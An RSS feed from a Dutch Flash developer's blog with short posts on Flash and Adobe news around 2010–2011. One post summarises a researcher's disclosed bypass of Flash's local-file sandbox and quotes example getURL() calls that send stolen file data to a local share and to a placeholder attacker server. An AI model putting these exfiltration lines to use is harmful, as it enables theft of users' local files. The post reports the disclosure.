<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Celar - Freelance flash/front-end ontwikkelaar &#187; Flash</title>
	<atom:link href="http://www.celar.nl/category/flash/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.celar.nl</link>
	<description>Flash- frontend ontwikkelaar</description>
	<lastBuildDate>Sun, 15 Jan 2012 20:44:41 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>Bevrijd je muis!</title>
		<link>http://www.celar.nl/2011/11/bevrijd-je-muis/</link>
		<comments>http://www.celar.nl/2011/11/bevrijd-je-muis/#comments</comments>
		<pubDate>Tue, 01 Nov 2011 07:13:23 +0000</pubDate>
		<dc:creator>arjan</dc:creator>
				<category><![CDATA[Algemeen]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[flash player]]></category>
		<category><![CDATA[sneak peak]]></category>

		<guid isPermaLink="false">http://www.celar.nl/?p=1065</guid>
		<description><![CDATA[In de Adobe Flash player is het niet mogelijk om je muis vast te zetten. Hierdoor zul je je muis bij het bereiken van de schermranden opnieuw naar beneden moeten brengen om weer te kunnen bewegen. In een sneak peak video is te zien dat in een vroege development build van de Flash player het [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.celar.nl/wp-content/uploads/2011/11/mouselock.jpg" alt="" title="mouselock" width="150" height="150" class="alignleft size-full wp-image-1066" />In de Adobe Flash player is het niet mogelijk om je muis vast te zetten. Hierdoor zul je je muis bij het bereiken van de schermranden opnieuw naar beneden moeten brengen om weer te kunnen bewegen. In een sneak peak video is te zien dat in een vroege development build van de Flash player het mogelijk is om je muis te &#8216;locken&#8217;. Deze feature is een veel gevraagde toevoeging, vooral van game ontwikkelaars.</p>
<p><iframe src="http://player.vimeo.com/video/31357798?title=0&amp;byline=0&amp;portrait=0&amp;color=db0000" width="600" height="338" frameborder="0" webkitAllowFullScreen allowFullScreen></iframe></p>
<p>lees meer op de <a href="http://www.leebrimelow.com">weblog van Lee Brimelow</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.celar.nl/2011/11/bevrijd-je-muis/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Adobe MAX 2011 Sneak peaks</title>
		<link>http://www.celar.nl/2011/10/adobe-max-2011-sneak-peaks/</link>
		<comments>http://www.celar.nl/2011/10/adobe-max-2011-sneak-peaks/#comments</comments>
		<pubDate>Tue, 25 Oct 2011 07:44:46 +0000</pubDate>
		<dc:creator>arjan</dc:creator>
				<category><![CDATA[Algemeen]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Flex]]></category>
		<category><![CDATA[ActionScript 3.0]]></category>
		<category><![CDATA[Adobe]]></category>
		<category><![CDATA[Flash Builder]]></category>
		<category><![CDATA[photoshop]]></category>

		<guid isPermaLink="false">http://www.celar.nl/?p=1056</guid>
		<description><![CDATA[Adobe heeft van 20 t/m 24 oktober de jaarlijkse MAX conferentie gehouden. Tijdens dit evenement worden de nieuwste technieken een tools van Adobe gepresenteerd. Met de sneak peaks worden tools en technieken getoond die mogelijk in toekomstige producten van Adobe gebruikt zullen worden. Er zitten een aantal zeer interessante bij. O.a. Image deblurring, Monocle en [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.celar.nl/wp-content/uploads/2011/10/max2011.jpg" alt="" title="max2011" width="150" height="150" class="alignleft size-full wp-image-1058" />Adobe heeft van 20 t/m 24 oktober de <a href="http://max.adobe.com/">jaarlijkse MAX conferentie</a> gehouden. Tijdens dit evenement worden de nieuwste technieken een tools van Adobe gepresenteerd.<br />
Met de <a href="http://tv.adobe.com/show/max-2011-sneak-peeks/">sneak peaks</a> worden tools en technieken getoond die mogelijk in toekomstige producten van Adobe gebruikt zullen worden.<br />
Er zitten een aantal zeer interessante bij. O.a. <a href="http://tv.adobe.com/watch/max-2011-sneak-peeks/max-2011-sneak-peek-image-deblurring/">Image deblurring</a>, <a href="http://tv.adobe.com/watch/max-2011-sneak-peeks/max-2011-sneak-peek-monocle/">Monocle</a> en <a href="http://tv.adobe.com/watch/max-2011-sneak-peeks/max-2011-sneak-peek-reverse-debugging-in-flash-builder/">Reverse debugging in Flash Builder</a>.</p>
<p><span id="more-1056"></span></p>
<h2>Image deblurring</h2>
<p><iframe title="AdobeTV Video Player" width="480" height="296" src='http://tv.adobe.com/embed/816/11422/' frameborder="0" allowfullscreen scrolling="no"></iframe></p>
<h2>Monocle</h2>
<p><iframe title="AdobeTV Video Player" width="480" height="296" src="http://tv.adobe.com/embed/816/11419/" frameborder="0" allowfullscreen scrolling="no"></iframe></p>
<h2>Reverse debugging in Flash Builder</h2>
<p><iframe title="AdobeTV Video Player" width="480" height="296" src="http://tv.adobe.com/embed/816/11416/" frameborder="0" allowfullscreen scrolling="no"></iframe></p>
]]></content:encoded>
			<wfw:commentRss>http://www.celar.nl/2011/10/adobe-max-2011-sneak-peaks/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>AMFPHP v2 Reloaded is een feit</title>
		<link>http://www.celar.nl/2011/09/amfphp-v2-reloaded-is-een-feit/</link>
		<comments>http://www.celar.nl/2011/09/amfphp-v2-reloaded-is-een-feit/#comments</comments>
		<pubDate>Wed, 28 Sep 2011 06:29:37 +0000</pubDate>
		<dc:creator>arjan</dc:creator>
				<category><![CDATA[Flash]]></category>
		<category><![CDATA[ActionScript 3.0]]></category>
		<category><![CDATA[amfphp]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://www.celar.nl/?p=1032</guid>
		<description><![CDATA[Het is lang geleden dat er een nieuwe versie van AMFPHP is uitgekomen. De laatste 1.9 is al een paar jaar niet meer ge-update. Silexlabs kondigde in augustus 2010 aan dat ze de ontwikkeling van een 2.0 versie op zich gingen nemen. Deze 2.0 zal opnieuw ontwikkeld worden met een sterk object georiënteerde architectuur. De [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.celar.nl/wp-content/uploads/2010/08/amfphp20.gif" alt="" title="amfphp20" width="150" height="150" class="alignleft size-full wp-image-892" />Het is lang geleden dat er een <a href="http://www.silexlabs.org/the-blog/amfphp-v2-reloaded-is-out/">nieuwe versie van AMFPHP</a> is uitgekomen. De laatste 1.9 is al een paar jaar niet meer ge-update. Silexlabs kondigde in augustus 2010 aan dat ze de ontwikkeling van een 2.0 versie op zich gingen nemen. Deze 2.0 zal opnieuw ontwikkeld worden met een sterk object georiënteerde architectuur. De eerste release candidate werd vrijgegeven in juni 2011. Vanaf nu is daar de final van uitgebracht.</p>
<p><a href="http://sourceforge.net/projects/amfphp/files/amfphp/amfphp-2.0.zip/download">Download hier AMFPHP 2.0</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.celar.nl/2011/09/amfphp-v2-reloaded-is-een-feit/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Unity3D exporteerd naar Flash</title>
		<link>http://www.celar.nl/2011/09/unity3d-exporteerd-naar-flash/</link>
		<comments>http://www.celar.nl/2011/09/unity3d-exporteerd-naar-flash/#comments</comments>
		<pubDate>Wed, 07 Sep 2011 14:07:22 +0000</pubDate>
		<dc:creator>arjan</dc:creator>
				<category><![CDATA[3D]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[flash player]]></category>
		<category><![CDATA[GPU]]></category>
		<category><![CDATA[molehill]]></category>
		<category><![CDATA[stage3d]]></category>
		<category><![CDATA[Unity3D]]></category>

		<guid isPermaLink="false">http://www.celar.nl/?p=1025</guid>
		<description><![CDATA[Unity3D Unity3D is een game ontwikkel tool. Hiermee kun je 3D games maken waarbij je gebruik kan maken van een krachtige engine. Deze game kunnen gepubliseerd worden voor het web (met gebruik van de Unity web player), iOS (iPhone, iPad), Android en pc of macs. Sinds kort is Flash player daar bij gekomen. Dus kunnen [...]]]></description>
			<content:encoded><![CDATA[<h2>Unity3D</h2>
<p><a href="http://unity3d.com/">Unity3D</a> is een game ontwikkel tool. Hiermee kun je 3D games maken waarbij je gebruik kan maken van een krachtige engine. Deze game kunnen gepubliseerd worden voor het web (met gebruik van de Unity web player), iOS (iPhone, iPad), Android en pc of macs. Sinds kort is Flash player daar bij gekomen. Dus kunnen de games die in Unity3D zijn ontwikkeld ook gepubliceerd worden naar Flash. (.swf) Dit is mogelijk doordat flash ook via de GPU berekeningen kan uitvoeren.</p>
<p><iframe src="http://video.unity3d.com/v.ihtml?token=78279741dc5453b46d03e6d15881463d&#038;photo%5fid=3121528" width="500" height="282" frameborder="0" border="0" scrolling="no"></iframe></p>
<h2>Molehill</h2>
<p>Met de komst van <a href="http://labs.adobe.com/technologies/flashplatformruntimes/features/stage3d.html">Molehill</a> in de Flash player zijn zware grafische berekeningen mogelijk. Dit komt doordat deze Stage3D api&#8217;s gebruik kunnen maken van de GPU hardware (grafische kaart van je computer).</p>
]]></content:encoded>
			<wfw:commentRss>http://www.celar.nl/2011/09/unity3d-exporteerd-naar-flash/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>BabelFX localisatie framework</title>
		<link>http://www.celar.nl/2011/05/babelfx-localisatie-framewerk/</link>
		<comments>http://www.celar.nl/2011/05/babelfx-localisatie-framewerk/#comments</comments>
		<pubDate>Mon, 23 May 2011 08:05:10 +0000</pubDate>
		<dc:creator>arjan</dc:creator>
				<category><![CDATA[ActionScript]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Flex]]></category>
		<category><![CDATA[ActionScript 3.0]]></category>
		<category><![CDATA[vertalen]]></category>

		<guid isPermaLink="false">http://www.celar.nl/?p=986</guid>
		<description><![CDATA[Zo nu en dan verzoeken om projecten meertalig te maken. Dit is altijd mogelijk maar kost ook meer werk aangezien je alle elementen in je project dynamisch moet maken en bij een switch van taal moet kunnen updaten met de nieuwe vertaling. BabelFx is een framework dat deze &#8216;hazzle&#8217; op zich neemt en je het [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.celar.nl/archives/upload/2011/05/babelfx.jpg" alt="" title="babelfx" width="150" height="150" class="alignleft size-full wp-image-988" />Zo nu en dan verzoeken om projecten meertalig te maken. Dit is altijd mogelijk maar kost ook meer werk aangezien je alle elementen in je project dynamisch moet maken en bij een switch van taal moet kunnen updaten met de nieuwe vertaling.</p>
<p><a href="http://babelfx.org/">BabelFx</a> is een framework dat deze &#8216;hazzle&#8217; op zich neemt en je het meeste werk uit handen neemt. Je kan er de volgende elementen mee vertalen.<br />
<br/></p>
<ul>
<li>Tekst</li>
<li>Afbeeldingen, CSS, url&#8217;s</li>
<li>Skins</li>
<li>Stylesheets</li>
<li>Layout veranderingen</li>
<li>Branding</li>
</ul>
<p>Het kan gebruikt worden met Swiz, Mate, Cairngorm, Parsley, RobotLegs &#038; PureMVC of gewoon zonder een framework. BabelFx draait onafhankelijk en transparant achter de schermen. Je schermen hoeven niet meer zelf gelokaliseerde content op te halen.<br />
BabelFx gebruikt het Inversion-of-Control (IoC) patroon om gelokaliseerde content te injecteren in je schermen. Omdat BabelFx content &#8216;pushed&#8217; hoeven je UI controls, componenten en views niet meer zelf de content op halen.<br />
Je kan vertalingen op de volgende manieren gebruiken:</p>
<ul>
<li>Embedden in je project</li>
<li>Laden uit gecompileerde, externe bundels</li>
<li>Laden vanuit een remote web service</li>
<li>Laden vanuit remote xml bestanden</li>
<li>Laden vanuit je remote cms</li>
</ul>
<p><strong>Flex only?</strong><br />
Ja op dit moment alleen nog voor Flex. Wil je het framework gebruiken in ActionScript projecten dan zul je een eigen LocatizationMap moeten schrijven. BabelFX is namelijk bedoeld om gebruikt te worden via een LocatizationMap mxml class en mxml kun je niet compileren in Actionscript projecten. Er word dan ook aanbevolen om een Flex project te gebruiken. (zie <a href="http://support.babelfx.org/discussions/questions/9-how-to-start-with-a-plain-simple-as3-project-and-babelfx">forum</a>)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.celar.nl/2011/05/babelfx-localisatie-framewerk/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Wat is FTE &amp; TLF?</title>
		<link>http://www.celar.nl/2011/04/wat-is-fte-tlf/</link>
		<comments>http://www.celar.nl/2011/04/wat-is-fte-tlf/#comments</comments>
		<pubDate>Tue, 12 Apr 2011 07:07:26 +0000</pubDate>
		<dc:creator>arjan</dc:creator>
				<category><![CDATA[Flash]]></category>
		<category><![CDATA[API]]></category>
		<category><![CDATA[engine]]></category>
		<category><![CDATA[FTE]]></category>
		<category><![CDATA[layout]]></category>
		<category><![CDATA[tekst]]></category>
		<category><![CDATA[text]]></category>
		<category><![CDATA[TLF]]></category>

		<guid isPermaLink="false">http://www.celar.nl/?p=971</guid>
		<description><![CDATA[FTE staat voor Flash Text Engine en is de low-level API van Flash om teksten te verwerken. Dit is pas beschikbaar vanaf Flash Player 10 en hoger. TLF, Text Layout Framework, is een higher-level API die verder borduurt op FTE classes en een set aan extra functionaliteiten biedt op het gebied van tekst afhandeling. Denk [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.celar.nl/archives/upload/2011/04/fte-tlf.gif" alt="" title="fte-tlf" width="150" height="150" class="alignleft size-full wp-image-973" /><br />
FTE staat voor <strong>Flash Text Engine</strong> en is de low-level API van Flash om teksten te verwerken. Dit is pas beschikbaar vanaf Flash Player 10 en hoger. TLF, <strong>Text Layout Framework</strong>, is een higher-level API die verder borduurt op FTE classes en een set aan extra functionaliteiten biedt op het gebied van tekst afhandeling. Denk hierbij aan multicolommen, stylesheets, inline afbeeldingen, HTML, etc.</p>
<p><strong>Doel</strong><br />
Adobe wilt met de introductie van FTE en TLF de bestandsgrootte van de Flash Player verkleinen door een low-level player API aan te bieden en een &#8216;standaard&#8217; higher-level actionscript 3 API daar bovenop te bouwen. Hierdoor kunnen er uitbreidingen gebouwd worden zonder dat de Player ge-update moet worden.</p>
<p><strong>Text Layout Framework</strong><br />
TLF is een zeer uitgebreid framewerk van 160 KB. De bestandsgrootte is een nadeel als je bijvoorbeeld een simpele tekst wilt tonen, denk bijvoorbeeld aan banners. Deze hebben vaak een restrictie van een x aantal kb. Dan is het onacceptabel om 160 KB extra mee te compileren terwijl je dat beter kunt gebruiken voor andere dingen.<br />
Je wilt dus eigenlijk iets dat tussen de low-level FTE en de high-level TLF zit. Voorheen had je alleen de keuze uit TextField. Maar dat is de &#8216;oude&#8217; manier en de &#8216;nieuwe&#8217; manier zou FTE/TLF gaan worden. </p>
<p><strong>TinyTLF</strong><br />
<a href="https://github.com/guyinthechair/tinytlf/">TinyTLF</a> springt naar eigen zeggen in dat gat. Tinytlf heeft als doel een kleine, uitbreidbare bibliotheek voor ontwikkelaars te bieden om geavanceerde tekst controllers te schrijven. Doel is om uiteindelijk een TextField te krijgen die echte HTML en CSS styleheets kan parsen en dezelfde interactieve eigenschappen heeft als een native OS tekstveld.</p>
<p><strong>Conslusie</strong><br />
Kijk goed naar de noodzaak van de verschillende API&#8217;s. Heeft jou project een geavanceerde tekst oplossing nodig dan is TLF de mooiste oplossing. Voor simpele teksten zoals invoervelden, labels, etc. is TLF te geavanceerd. TinyTLF zou daarvoor beter geschikt zijn. Helaas heb ik tinytlf niet werkend gekregen en kan ik niet oordelen op de bruikbaarheid ervan. Het oude vertrouwde TextField wordt nog steeds veel gebruikt, ook in grote producties, en is nog niet dood. Voor de simpele teksten zou ik dan ook niet schromen om deze te gebruiken. Mooi project zou een mid-level API zijn voor de simpele teksten. Dit is in mijn ogen een perfecte oplossing voor simpele en semi-simpele tekst velden.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.celar.nl/2011/04/wat-is-fte-tlf/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Adobe toont &#8220;Wallaby&#8221;</title>
		<link>http://www.celar.nl/2011/03/adobe-toont-wallaby/</link>
		<comments>http://www.celar.nl/2011/03/adobe-toont-wallaby/#comments</comments>
		<pubDate>Tue, 08 Mar 2011 08:51:35 +0000</pubDate>
		<dc:creator>arjan</dc:creator>
				<category><![CDATA[Flash]]></category>
		<category><![CDATA[convert]]></category>
		<category><![CDATA[html5]]></category>
		<category><![CDATA[Wallaby]]></category>

		<guid isPermaLink="false">http://www.celar.nl/?p=965</guid>
		<description><![CDATA[Adobe staat niet stil en ziet ook de opkomst van HTML5. Als antwoord daarop hebben ze de experimentele tool &#8220;Wallaby&#8221; ontwikkeld. Met deze tool is het mogelijk om Flash content te exporteren naar HTML5 code. Hierdoor zijn animaties ook te zien op non-flash apparaten zoals de iPad/iPhone/iPod. Voorlopig is de tool gericht op Webkit gebaseerde [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.celar.nl/archives/upload/2011/03/wallaby.jpg" alt="" title="wallaby" width="150" height="150" class="alignleft size-full wp-image-966" />Adobe staat niet stil en ziet ook de <a href="http://blogs.adobe.com/jnack/2010/11/so-what-has-adobe-actually-done-for-html5-lately.html">opkomst van HTML5</a>. Als antwoord daarop hebben ze de experimentele tool <a href="http://labs.adobe.com/technologies/wallaby/">&#8220;Wallaby&#8221;</a> ontwikkeld. Met deze tool is het mogelijk om Flash content te exporteren naar HTML5 code. Hierdoor zijn animaties ook te zien op non-flash apparaten zoals de iPad/iPhone/iPod.</p>
<p>Voorlopig is de tool gericht op Webkit gebaseerde browser zoals Safari &#038; Chrome.</p>
<p>&#8220;De focus van de eerste versie van Wallaby is om de best mogelijke conversie te doen voor typische banner ads naar HTML5. Wallay kan dan ook goed grafische elementen converteren samen met complexe, tijdslijn gebaseerde animaties naar HTML5 die bekeken kunnen worden met browser die gebruik maken van de Webkit render engine. Ondersteunde Webkit browser zijn Chrome en Safari op OSX, Windows, en iOS (iPad, iPhone, iPod).&#8221;</p>
<p>Na een test kwam ik tot de conclusie dat vooralsnog alleen CS5 Fla bestanden geconverteerd kunnen worden.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.celar.nl/2011/03/adobe-toont-wallaby/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Sandbox van Flash is te omzeilen.</title>
		<link>http://www.celar.nl/2011/01/sandbox-van-flash-is-te-omzeilen/</link>
		<comments>http://www.celar.nl/2011/01/sandbox-van-flash-is-te-omzeilen/#comments</comments>
		<pubDate>Thu, 06 Jan 2011 21:39:12 +0000</pubDate>
		<dc:creator>arjan</dc:creator>
				<category><![CDATA[Flash]]></category>
		<category><![CDATA[beveiliging]]></category>
		<category><![CDATA[sandbox]]></category>

		<guid isPermaLink="false">http://www.celar.nl/?p=943</guid>
		<description><![CDATA[Een beveiligingsonderzoeker Billy Rios heeft een prove-of-concept gepresenteerd die laat zien dat het mogelijk is om via Flash toegang te krijgen tot lokale bestanden. Sandbox Een sandbox in Flash zou moeten voorkomen dat een bestand van een lokaal systeem doorgestuurd kan worden naar een ander systeem. De documentatie van de sandbox is misschien net iets [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.celar.nl/archives/upload/2011/01/flashsandbox.jpg" alt="" title="flashsandbox" width="150" height="150" class="alignleft size-full wp-image-944" />Een beveiligingsonderzoeker <a href="http://xs-sniper.com/blog/">Billy Rios</a> heeft een <a href="http://xs-sniper.com/blog/2011/01/04/bypassing-flash%E2%80%99s-local-with-filesystem-sandbox/">prove-of-concept</a> gepresenteerd die laat zien dat het mogelijk is om via Flash toegang te krijgen tot lokale bestanden.</p>
<p><strong>Sandbox</strong><br />
Een sandbox in Flash zou moeten voorkomen dat een bestand van een lokaal systeem doorgestuurd kan worden naar een ander systeem. De documentatie van de sandbox is misschien net iets te duidelijk hierin. Hierin staat dat swf&#8217;s geladen van het lokale systeem een aantal beperkingen heeft. De meest relevante beperkingen zijn volgens Billy:</p>
<ol>
<li>De SWF kan geen aanroep doen naar Javascript (of vbscript), ook niet door een URL of ExternalInterface.</li>
<li>De SWF kan geen HTTP of HTTPS verzoek uitvoeren</li>
<li>Querystring parameters (bijv. Blag.php?querystring=qa-value) worden verwijderd en ook niet doorgestuurd (ook niet bij verzoeken naar lokale bestanden)</li>
</ol>
<p>Helaas zijn deze restricties niet hetzelfde als &#8220;kan niet communiceren met het netwerk in welke vorm dan ook&#8221;. Wat wel wordt gesuggereerd in de documentatie. De simpelste manier om de local-with-filesystem sandbox te omzeilen is om een file:// verzoek naar een externe server te doen. Bijvoorbeeld: Na het inladen van een bestand van het lokale systeem kan de aanvaller deze simpel doorsturen door getURL() te gebruiken en een url zoals bijvoorbeeld file://\\192.168.1.1\stolen-data-here\.<br />
Echter geldt dit alleen voor het doorsturen van data binnen een eigen netwerk (lokaal). Als een aanvaller de data wilt versturen via het internet zijn er nog een aantal trucjes nodig.</p>
<p><strong>protocollen blacklist</strong><br />
In het geval van de local-with-filesystem sandbox, heeft Adobe gekozen om toegang to een netwerk door het gebruik van een protocol handler te voorkomen. Dit doen ze door middel van  een blacklist. Vinden we een protocol dat niet geblokkeerd is door Adobe dan hebben we een doorgang en kunnen we met bijvoorbeeld getURL(‘mhtml:http://attacker-server.com/stolen-data-here‘, ”); data versturen via het internet.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.celar.nl/2011/01/sandbox-van-flash-is-te-omzeilen/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Adobe converteerd flash naar html5</title>
		<link>http://www.celar.nl/2010/11/adobe-converteerd-flash-naar-html5/</link>
		<comments>http://www.celar.nl/2010/11/adobe-converteerd-flash-naar-html5/#comments</comments>
		<pubDate>Mon, 01 Nov 2010 11:35:56 +0000</pubDate>
		<dc:creator>arjan</dc:creator>
				<category><![CDATA[Flash]]></category>
		<category><![CDATA[converteren]]></category>
		<category><![CDATA[html5]]></category>

		<guid isPermaLink="false">http://www.celar.nl/?p=940</guid>
		<description><![CDATA[Adobe werkt aan een programma waarmee je flash-animatie naar html5 kunt converteren. Rick Cabanier, ontwikkelaar bij Adobe, demonstreerd dat het mogelijk is om flash elementen om te zetten naar html5.]]></description>
			<content:encoded><![CDATA[<p>Adobe werkt aan een programma waarmee je flash-animatie naar html5 kunt converteren.</p>
<p>Rick Cabanier, ontwikkelaar bij Adobe, demonstreerd dat het mogelijk is om flash elementen om te zetten naar html5.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.celar.nl/2010/11/adobe-converteerd-flash-naar-html5/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Apple staat alternatieve ontwikkel tools (Flash) weer toe.</title>
		<link>http://www.celar.nl/2010/09/apple-staat-alternatieve-ontwikkel-tools-flash-weer-toe/</link>
		<comments>http://www.celar.nl/2010/09/apple-staat-alternatieve-ontwikkel-tools-flash-weer-toe/#comments</comments>
		<pubDate>Fri, 10 Sep 2010 06:09:17 +0000</pubDate>
		<dc:creator>arjan</dc:creator>
				<category><![CDATA[ActionScript]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Adobe]]></category>
		<category><![CDATA[Apple]]></category>
		<category><![CDATA[iphone]]></category>

		<guid isPermaLink="false">http://www.celar.nl/?p=926</guid>
		<description><![CDATA[4 en een halve maand nadat Apple hun voorwaarden aanpaste zijn ze terug gekomen op het toestaan van niet native code op hun platform (sectie 3.3.1). Hiermee is het weer mogelijk om iPhone, iPad, iPod applicaties te gaan ontwikkelen in bijvoorbeeld ActionScript en deze de compileren voor het iOS van Apple. Zie (Developer aggreement) Apple [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.celar.nl/archives/upload/2010/09/iphone_flash.jpg" alt="" title="iphone_flash" width="150" height="150" class="alignleft size-full wp-image-927" />4 en een halve maand nadat Apple hun voorwaarden aanpaste zijn ze terug gekomen op het toestaan van niet native code op hun platform (sectie 3.3.1). Hiermee is het weer mogelijk om iPhone, iPad, iPod applicaties te gaan ontwikkelen in bijvoorbeeld ActionScript en deze de compileren voor het iOS van Apple. Zie (<a href="http://developer.apple.com/programs/terms/ios/standard/ios_standard_agreement_20100909.pdf">Developer aggreement</a>)</p>
<p>Apple besloot in april om geen apps meer toe te staan die niet direct in Objective-C, C, C++, of JavaScript geschreven waren. Hierop besloot Adobe om hun plannen om Flash applicaties voor de iPhone te bouwen, te staken.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.celar.nl/2010/09/apple-staat-alternatieve-ontwikkel-tools-flash-weer-toe/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

